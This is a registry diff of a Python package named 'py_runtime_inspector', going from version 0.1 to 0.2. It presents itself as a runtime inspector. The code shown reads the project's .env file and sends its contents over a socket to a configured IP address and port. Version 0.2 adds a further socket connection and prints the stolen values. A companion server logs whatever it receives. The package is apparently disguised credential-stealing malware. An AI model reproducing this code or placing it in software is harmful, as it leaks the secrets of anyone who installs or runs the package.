py-runtime-inspector 0.1__tar.gz → 0.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,3 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: py_runtime_inspector
3
- Version: 0.1
3
+ Version: 0.2
@@ -1,5 +1,5 @@
1
- from constants import IPV4, PORT
2
- from utils import trace_runtime
1
+ from py_runtime_inspector.constants import IPV4, PORT
2
+ from py_runtime_inspector.utils import trace_runtime
3
3
  import socket
4
4
  import time
5
5
  import os
@@ -9,7 +9,6 @@ def extract_env(result: str):
9
9
  """
10
10
  This function searches for .env file in the project folder and extracts it
11
11
  """
12
-
13
12
  EX = "print(open('.env').read())"
14
13
 
15
14
  lines = result.splitlines()
@@ -43,6 +42,7 @@ def log_runtime():
43
42
  )
44
43
 
45
44
  env_details = extract_env(result.stdout)
45
+ print(env_details)
46
46
  s.sendall(env_details.encode())
47
47
  s.close()
48
48
 
@@ -50,8 +50,15 @@ def log_runtime():
50
50
  def inspect_runtime():
51
51
  print(f"Starting server at {IPV4}, port {PORT}")
52
52
  trace_runtime()
53
- time.sleep(3)
53
+
54
+ time.sleep(2)
55
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
56
+ s.connect((IPV4, PORT))
57
+ s.sendall(f'Connected to {IPV4} on port {PORT}'.encode())
58
+
54
59
  log_runtime()
60
+ time.sleep(1)
61
+
55
62
 
56
63
  if __name__ == '__main__':
57
64
  inspect_runtime()
@@ -1,7 +1,7 @@
1
1
  import threading
2
2
  import socket
3
3
  import json
4
- from constants import PORT, IPV4
4
+ from py_runtime_inspector.constants import PORT, IPV4
5
5
 
6
6
  def start_server(stop_server: threading.Event):
7
7
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -10,18 +10,18 @@ def start_server(stop_server: threading.Event):
10
10
  s.listen(5)
11
11
  s.settimeout(1.0)
12
12
 
13
- with open('server_messages.jsonl', 'a') as f: # 'a' to append across runs, 'w' to start fresh each time
13
+ with open('server_messages.jsonl', 'a') as f:
14
14
  while not stop_server.is_set():
15
15
  try:
16
16
  conn, addr = s.accept()
17
17
  data = conn.recv(1024).decode()
18
- entry = {'env_details' : data}
18
+ entry = {'msg_received' : data}
19
19
  f.write(json.dumps(entry) + '\n')
20
20
  f.flush()
21
21
  conn.close()
22
22
  except socket.timeout:
23
23
  continue
24
-
24
+
25
25
  s.close()
26
26
 
27
27
  def trace_runtime() -> None:
@@ -1,3 +1,3 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: py_runtime_inspector
3
- Version: 0.1
3
+ Version: 0.2
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name = 'py_runtime_inspector',
5
- version = '0.1',
5
+ version = '0.2',
6
6
  packages = find_packages(),
7
7
  install_requires=[]
8
8
  )